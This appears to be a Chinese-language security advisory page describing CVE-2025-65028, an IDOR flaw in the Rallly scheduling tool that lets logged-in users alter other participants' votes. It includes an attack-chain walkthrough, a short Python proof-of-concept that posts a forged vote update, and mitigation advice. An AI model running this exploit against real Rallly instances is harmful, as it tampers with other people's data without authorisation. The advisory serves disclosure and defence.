IPBUF安全漏洞报告
English
CVE-2025-65028 CVSS 6.5 中危

CVE-2025-65028 Rallly IDOR漏洞允许未授权修改投票

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65028
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rallly

相关标签

IDORRallly投票篡改访问控制绕过4.5.4以下版本开源协作工具

漏洞概述

Rallly是一款开源的日程安排和协作工具。在4.5.4版本之前,存在一个不安全的直接对象引用(IDOR)漏洞,允许任何已认证用户未经授权修改其他参与者的投票。攻击者可以利用此漏洞篡改投票结果,直接危害数据完整性。该漏洞的CVSS评分为6.5,属于中等严重程度。攻击向量为网络,认证要求为低权限,无需用户交互。由于完整性影响为高,攻击者可以完全控制投票数据,导致投票结果被恶意操纵。此问题已在4.5.4版本中修复,建议用户尽快升级。

技术细节

该IDOR漏洞的根本原因在于后端API仅依赖participantId参数来识别和更新投票,而没有验证该参与者是否属于当前用户或是否具有修改权限。具体来说,当用户提交投票更新请求时,服务器接收participantId后直接执行数据库更新操作,跳过了所有权验证步骤。攻击者只需知道其他参与者的participantId,即可构造恶意请求修改其投票内容。漏洞存在于投票更新API端点,攻击者可以通过枚举或猜测participantId来定位目标参与者。这种设计缺陷使得已认证用户可以跨用户边界进行操作,完全绕过了访问控制机制。

攻击链分析

STEP 1
步骤1
攻击者注册并登录Rallly应用,获取有效认证令牌
STEP 2
步骤2
攻击者访问目标投票页面,获取poll_id和参与者列表
STEP 3
步骤3
攻击者识别目标参与者(受害者)的participantId
STEP 4
步骤4
攻击者构造恶意请求,向投票更新API端点发送包含受害者participantId的请求
STEP 5
步骤5
后端API仅验证用户已认证,未验证participantId所有权,直接执行更新操作
STEP 6
步骤6
受害者投票被成功篡改,投票结果被操纵

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65028 PoC - Rallly IDOR Vulnerability # Target: Rallly < 4.5.4 # Vulnerability: IDOR in vote update endpoint TARGET_URL = "https://vulnerable-rallly-instance.com" ATTACKER_TOKEN = "attacker_auth_token_here" def exploit_idor(): # Step 1: Get the poll ID and list participants poll_id = "target_poll_id" # Step 2: Identify target participant ID (victim) victim_participant_id = "victim_participant_id" # Step 3: Craft malicious vote update request # The vulnerable endpoint does not verify participant ownership update_url = f"{TARGET_URL}/api/votes/{poll_id}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Modify victim's vote to favor attacker payload = { "participantId": victim_participant_id, "options": ["2025-12-25"] # Attacker's preferred date } response = requests.post(update_url, headers=headers, json=payload) if response.status_code == 200: print("[+] Vote successfully modified!") print(f"[+] Victim's vote has been changed") else: print(f"[-] Exploitation failed: {response.status_code}") if __name__ == "__main__": exploit_idor()

影响范围

Rallly < 4.5.4

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对投票更新API的访问频率,并对请求参数进行严格验证。同时监控异常投票修改行为,及时发现潜在攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表